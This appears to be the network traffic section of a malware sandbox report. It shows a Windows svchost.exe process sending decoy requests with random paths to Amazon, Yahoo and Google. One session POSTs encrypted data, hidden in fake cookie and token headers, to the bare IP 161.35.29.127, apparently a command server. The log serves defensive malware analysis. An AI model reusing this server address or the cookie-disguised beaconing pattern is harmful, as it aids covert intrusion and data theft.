2021-09-28 07:54:22 UTC	1051	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:22 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: Y0DBTJN6CEPM3DBEZ9FM x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:22 UTC	1052	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.3	50027	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:23 UTC	1052	OUT	GET /bq7Ud95l6an63q5Q5sm/lt2nrfw2J05ggd2xRlIuqbanbu2gmhjrrin424hhmaty31/akhfw7kpxR6HkDUyc18oa5mAJkp10xW7k7rgdV6489/92xZ434fmua8zJtxefxgl/vs7p5Jou32wQj1oYOlYkjhnaR/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:23 UTC	1053	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:23 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: N19GFAE4KC48Q3GV5P5X x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:23 UTC	1053	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.3	50028	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:23 UTC	1054	OUT	GET /9GuwHdocm3fspOQm/t2uabxfli0f0td012eir4jwi96nGg/K7hwmewf5l8cfviyy1vd2i5gy63cdi9ffugGQ/ew3sBtaPestyioqyjvqkl2fgsef5ya5smp7m/y8soWU99l3Vztklaz0NfbzRdka186/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:23 UTC	1055	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:23 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 9 server: ATS Content-Length: 884 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=461sbmlgl5ihf&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:23 UTC	1056	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 32 33 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:23 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:23 UTC	1056	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 39 47 75 77 48 64 6f 63 6d 33 66 73 70 4f 51 6d 25 32 66 74 32 75 61 62 78 66 6c 69 30 66 30 74 64 30 31 32 65 69 72 34 6a 77 69 39 36 6e 47 67 25 32 66 4b 37 68 77 6d 65 77 66 35 6c 38 63 66 76 69 79 79 31 76 64 32 69 35 67 79 36 33 63 64 69 39 66 66 75 67 47 51 25 32 66 65 77 33 73 42 74 61 50 65 73 74 79 69 6f 71 79 6a 76 71 6b 6c 32 66 67 73 65 66 35 79 61 35 73 6d 70 37 6d 25 32 66 79 38 73 6f 57 55 39 39 6c 33 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2f9GuwHdocm3fspOQm%2ft2uabxfli0f0td012eir4jwi96nGg%2fK7hwmewf5l8cfviyy1vd2i5gy63cdi9ffugGQ%2few3sBtaPestyioqyjvqkl2fgsef5ya5smp7m%2fy8soWU99l3

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.3	50030	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:24 UTC	1057	OUT	GET /64a3nBqsi0d4zgksf85agYb7tH7n44iNQ1y/10weq4tM0omeux533w8vkeebOb7c2thklxw8z0iq5epR3yV5/b4zf22YrziqsjruIqqeeghjtby04G2QbtolfzGe/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:24 UTC	1058	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1686 Date: Tue, 28 Sep 2021 07:54:24 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:24 UTC	1058	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:24 UTC	1059	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.3	50029	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:24 UTC	1060	OUT	POST /feed/news/last HTTP/1.1 Cookie: HSID=0HP2%2BODCuS%2FqG7j613AQUZzmrT%2BI8eKIiiDa0LPcwiwuwE%2Bjdg6bQzpHTghEVEc3fqEubEv41%2BI5fgYhc%2FbMY5QsEfryPNd53BfvxfEUasquR29zN4ZdhISL3Sa2yW3rrV5glOkHdD7DkworVWFkkzNQQpk214Hy1JV%2BQbWmB2vH72RtqE4kaKGBKK%2BAqyw8X%2Bg10S36%2FcRHl4XSrcQyqzXxTDFIWk6mQ2Gg0bloebTXs7KERKIJgCj59lQL%2B3ILYN8ILiAS53L2iBVh2aNKXC6j0jKuROBr1XJi64bekWvhV1OwOEUjb2b2E%2FxfuODirSo0FYOsOCxvhjVfZH9%2FNw%3D%3D;SIDCC=vB6%2Bo5TPkTnLEfHwHJsZUeUjdtQjUYh%2FU%2B0Qs4VKRcq%2B2UbrPbw%2BkfSEBO5%2FzThGnZ9IMYabSubtnYTpvb18EJbHFMyZh%2FHJivQjSVJLoAj7cIBo0hae%2FTlo4hngLDsMnem3kEjb2EW1VQaGcGZKVXLX2KgYOJO8QSGKoC%2BFpsfmDqWMq1w0lDTZA3yheDcaW1pYsmxBJCutJM1wk5AOKq3tSaKU4dxjxcBTwunw%2BAovDy7%2Buer4HbJFbd9n7IXHFWm0BELjMu2mKWGm3VnisYbEpHRd6g5PvzgIDmiRjs512T0K5NcCfQsFMmlULLUhjUYLJKXbSgdWLwOg%2FyX3wA%3D%3D;SID=gU1iesGYHBeIx%2Bbdp2NCHvWu%2BAQPuor4XoTS5xS5IXXk2aN3TyHRET7YoDaAVF1VGOo2lLr8jWzBovG8RxQEfZN0j1piq2WIbV9rMfR%2BR03vbhrZoP2m%2BmwJledYHtB0GeoRELx2IQ30lFd41e72EQyFzIKveaqgSBrtcSyVPxV8VARhrUEK4On8j6cRYIvr5z7DSBDJhgaBXBbRCIavtlHzWocJkk1b824J7bUMwIMM02nBWaxCF71S%2F0RqAVjId5Yablgd9ChLGX1VcbZr2ICGKe%2B0XJpU7udZ4YQ%2FyWOcLMDFLMu90D6LxfmaJtZX5wqo%2BT1vY%2FV16UEUyuyLVg%3D%3D;SSID=1SPTjt9Kn9tNFam%2F6zsk8REh%2BZ6TUSBMnrcDy%2BCRi2fCvo%2B9KY1u8xh864PPvG2dfm%2Fd%2F9ptwPBBfnGwRjZsCk%2F%2FCLJszCHnbo2EZLLImbGQu5RSmkVfakCxd%2FH3%2FNUfkIx7Yi6V0W8mcCVGZ3LFA171qTme4PYnXF8SgU4OyatW6Hxf6%2FaARQ6DEFi6qt0pAFjLjdC9OKZPzQC7oIww%2FOY6a24YXlvD2o5ki0HvfRisjNL8GvCzqgPWZpvm%2BxcvPazsf9WDklJGvo%2FDD500Yt926Jm2XV8DgNDEqB7rHDDjhjOlK8oaR0la2pBapaWxLMAJkcSRYKMdRY254D2Png%3D%3D; X-Tag: PL%2Fv5Os%2BlZhcZn54pyzV0Y9nnny7zxUO2HyGrGufUm1rHDEJmaLwcq%2BH1Kx1jyiq2RUuwTEZa%2BY%2BOOFDZCnDk3xNj%2FIBbGI5d2e7bYgphEHO4RMxOnTFi1tmZx5oFq0Zky%2BwkUr5OLQPNy77ON0ztky85u%2FzWQ0WDZvB7KdRpry9i%2Bs1m49cczxj6Aiz147aaUP1RIWmIeQnRjQLhk5dGVpRWG3QVJ7J1YznyEZy3f7nwbcgL3DB4iHDOK7iZ1yM1KbUk6iABi8ZtdZ1XmCMzMjAjvNkJ2sqO%2FkABGYyHSCVj%2FpcHmfMGND%2FSlRVKU2IwYEPATWcoC6a5gQkuFnWUQ%3D%3D X-Csrf-Token: yU9yBTSZcaJTCJjh6I%2BxDpmPzMHFfXZCjK3cfzW8igaaRAg1%2FaHm9SHaF%2BbVBgHrYlZzbDo3knhheFIMDk69%2BlkW7Ifcn6XhgUwVGf3DGEmqX542kQBWuBf11p8fR6h6VeZZ8n6%2FZSjswRDb3n9z0YEB3xAQoCQ2NWUAobdXSbgN63CeyQzggSD8301bQpAqUTzsh4jrSYf3WHXDg6GkYDYJGnBzZy2r84midnHmFU2GorjK3bm1HZ1Za3aGNW88rGdgYgtM5VICsvodBhgaoUeabVZ138DriNJuSbVzmtZg3IItFnDiNY8wFT8hlm4YRsmqv%2FmAfF2mrRdR%2BeiDMg%3D%3D X-Request-ID: sQ4qUaTyDgNFbpLNXq4qDKnbNMaQewT6cSBD2fmHGm0Chy1nf338UJoYFAUrzul4kS%2BXgNLxmeoSlpzBbrHRBRzlTazc97x0AFNhWKygWi2k2LCrm2tQRqkvQLBdiCyyHRSlDAL7MfdsQTREgGwY%2BPkoE2u0cuFTlV6hGRiJlr8Ds8QP6w1nyPvA0KOJr91KQYGKvFm5jkRYD5wPbQ2Amdpze9PIzVX52WSrckfw9BSRH7vXPhzxoHqm4yOZA2wWTDcz%2F4fHfD2RWUmzT7Gm0uedJQ01of7cBBYh6YKtkwvqiU9Ka4CXu3gljjE3I10AM6feIS2fN7PmfmKfwSQZgA%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127 Content-Length: 256 Cache-Control: no-cache
2021-09-28 07:54:24 UTC	1062	OUT	Data Raw: c0 33 7f b4 91 88 a4 b1 20 f9 84 ef f4 94 95 8c f5 4f c2 8f 95 e5 ae f9 f8 78 32 d7 ed 14 1c 91 f1 1f 4c 84 0c 28 12 cf 71 9a 91 06 4a a9 fa 99 c7 4b dd 0f 33 36 3a 55 12 5c 39 d4 2d d8 7f 34 7f ba e7 5d 3c 9d 50 af d7 42 01 e1 e6 75 1f 3f 76 3e 63 bb 7a b4 68 ce d8 87 3b 52 0e 12 f6 1f 69 c8 ad 21 72 f6 9e 8c 79 4b 26 c1 29 31 4d 9e 60 0a 81 40 a7 e7 f3 e3 c0 dd be b1 00 a0 43 9f cf f4 f9 30 c0 fa f0 3b 0e a7 71 20 69 a3 93 f0 80 45 df 8b fe 00 9b 20 cd ee 05 ba e4 21 e6 b4 05 fd f6 95 8e 6f 46 36 4b cd 95 00 97 a8 32 2a 02 fb de 28 58 42 e3 8e a8 f3 32 67 a7 f6 a2 da 50 3e 4d 05 97 30 06 ad 19 a5 1d 30 70 b7 db f8 f1 53 46 b4 cc cb 40 20 f5 f2 92 85 c5 78 1c f2 89 ac 8f db 91 50 7d 57 35 55 84 64 00 d3 47 08 ee db 23 e9 97 be 65 79 b5 85 43 bf e3 5f 11 Data Ascii: 3 Ox2L(qJK36:U\9-4]<PBu?v>czh;Ri!ryK&)1M`@C0;q iE !oF6K2*(XB2gP>M00pSF@ xP}W5UdG#eyC_
2021-09-28 07:54:26 UTC	1068	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Connection: close Date: Tue, 28 Sep 2021 07:54:26 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.3	50031	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:24 UTC	1063	OUT	GET /fJJ3UA0iD56hw4fc7Honei06tvsxn/ccfThcdvilys54e8a148Gptn9nheTa9/g573rv6FEFfCpsfbgqoSk8vwbdt0ebiLzb/upiTgp9rs63kY8eknUaMtd7nlf5e4o9vb1p2rQz9uq/np3oikgtofsrm43KrjbhDai54k2e70gIotgFq3jaw3a3g9v/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:24 UTC	1063	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:24 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: 0VH97DKBXYTSRVWRHQRJ x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:24 UTC	1064	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.3	50033	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:25 UTC	1064	OUT	GET /1hghaZjobkwhewlec7ku6fwpqk/b2lkEemfcg7j8ldluqhFw6zba7F9dtuzg5q1/qzc80587pxqY2m510yqqrxpKfu4vic42cHwualqBR33fao/kg4prkLqnmaworn3ram3a51v1E536te8a7YdPblp/tyvic3phtzjaGo3eadm8b5ji52ky476h91lrT/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:25 UTC	1065	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:25 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: QBN5K9YFTMD6SYX25R2C x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:25 UTC	1065	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.3	50034	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:25 UTC	1066	OUT	GET /c5ClawVDu9Jvlhxm51dvteg6c34r1CUsjvh77oocuAYti/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:25 UTC	1066	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:25 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: KBZ7KRQC44WJ43VP8BK5 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:25 UTC	1067	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: 